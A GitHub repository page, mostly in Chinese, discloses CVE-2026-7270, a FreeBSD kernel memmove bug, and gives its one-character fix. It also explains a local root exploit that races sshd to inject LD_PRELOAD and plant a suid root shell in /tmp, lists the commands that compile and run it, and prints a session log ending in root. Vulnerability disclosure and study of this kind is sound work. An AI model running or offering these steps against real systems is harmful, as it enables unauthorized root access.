babyshen/freebsd-CVE-2026-7270

GitHub: babyshen/freebsd-CVE-2026-7270

针对 FreeBSD 内核 exec_args_adjust_args 函数中存在十余年的运算符优先级缺陷,提供完整的本地提权利用代码与技术分析。

Stars: 0 | Forks: 0

### 参考 https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270 # CVE-2026-7270 **通过 `exec_args_adjust_args` OOB memmove 实现的 FreeBSD 本地提权** `exec_args_adjust_args()`(位于 `sys/kern/kern_exec.c`,自 2013 年起存在)中的一个运算符优先级 bug 允许任何本地用户在运行 sshd 的默认 FreeBSD 安装上提权至 root。无需 suid 二进制文件、无需加载内核模块、无需更改任何配置。 ## 漏洞详情 ``` /* sys/kern/kern_exec.c */ memmove(args->begin_argv + extend, args->begin_argv + consume, args->endp - args->begin_argv + consume); /* BUG: + should be - */ ``` `+ consume` 应为 `- consume`。错误的符号导致 memmove 复制了 `2 * consume` 字节,而不是正确的 `endp - begin_argv - consume`。在 shebang exec 中使用 265,185 字节的 `argv[0]` 时,memmove 会将 528,384 字节的 exec_map 项溢出 2,024 字节到相邻项中——没有崩溃,没有信号,没有页面错误。 ## 漏洞利用 该漏洞利用将 OOB memmove 与传入 TCP 连接上 sshd 的 `fork`/`execv` 进行竞争。sshd-session 以 root 到 root 的方式执行,没有 suid/sgid 转换,因此 `issetugid()` 返回 0 且运行时链接器会遵循 `LD_PRELOAD`。该漏洞利用将 `LD_PRELOAD=/tmp/evil.so` 植入到 sshd-session 的 exec_map 项中;evil.so 的构造函数以 uid=0 运行,并在 `/tmp/rootsh` 释放一个 suid root shell。 在 4 CPU 虚拟机上,于第 5,030 轮获取 root 权限,启动后耗时约 6 秒。 ## 影响 | | | |---|---| | 受影响版本 | FreeBSD 11.0 至 14.4(所有发布版本;截至披露时,所有分支均未修复) | | 前置条件 | 本地无特权 shell;正在运行 sshd(FreeBSD 默认) | | 可靠性 | 每轮约 0.6% 命中率;在 4 CPU 系统上数秒内获取 root | | 测试环境 | FreeBSD 14.4-RELEASE-p1 amd64,GENERIC 内核,4 CPUs,2GB RAM | ## 修复 在 `sys/kern/kern_exec.c` 中修改一个字符: ``` - args->endp - args->begin_argv + consume); + args->endp - (args->begin_argv + consume)); ``` ## 文件 | 文件 | 描述 | |---|---| | `exec1_lpe21.c` | 独立漏洞利用程序——以无特权用户身份编译并运行 | | `run_poc.sh` | QEMU 自动化脚本:启动 FreeBSD 14.4,编译并运行漏洞利用程序 | | `WRITEUP.md` | 完整技术分析:漏洞分析、漏洞利用架构、开发历史 | | `blog.md` | 关于发现和漏洞利用开发过程的叙述性记录 | | `images/` | SVG 图表:exec_map 布局、自复制机制、完整攻击概述 | ## 用法 在 FreeBSD 14.4 目标机上,以任意无特权用户身份执行: ``` gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c /tmp/exec1_lpe21 15000 0 # ... 几秒 ... /tmp/rootsh -p # uid=1001(freebsd) gid=1001(freebsd) euid=0(root) ``` 在 QEMU 环境下(macOS 主机,需要 `qemu` 和 `sshpass`): ``` ./run_poc.sh # boots VM, compiles, runs exploit ./run_poc.sh run # re-run against already-running VM ./run_poc.sh clean # remove VM artifacts ``` ## PoC ``` $ ./run_poc.sh [*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)... [*] QEMU pid 25908, log: vm.log [*] Waiting for SSH on port 2225... [*] SSH up after 1s [*] Copying exploit source to VM... [*] Creating unprivileged user 'freebsd' and compiling... [*] Compiled OK [*] Running exploit as 'freebsd' (up to 15000 rounds)... [*] Watch for ROOT OBTAINED below: [!!!] ROOT OBTAINED! uid=0 euid=0 pid=3413 [!!!] Root shell: /tmp/rootsh -p [*] Verifying root... === /tmp/GOT_ROOT === uid=0 euid=0 pid=3413 === /tmp/rootsh === -rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh === id via rootsh === uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) [*] Stopping VM (pid 25908)... ```
标签:0day挖掘, 0day漏洞, API接口, Cutter, CVE-2026-7270, Exploit, FreeBSD, Hpfeeds, LD_PRELOAD, OOB memmove, Root权限, sshd, Web报告查看器, 内核安全, 客户端加密, 提权漏洞, 本地提权, 竞态条件, 系统调用, 越界读写, 身份验证强制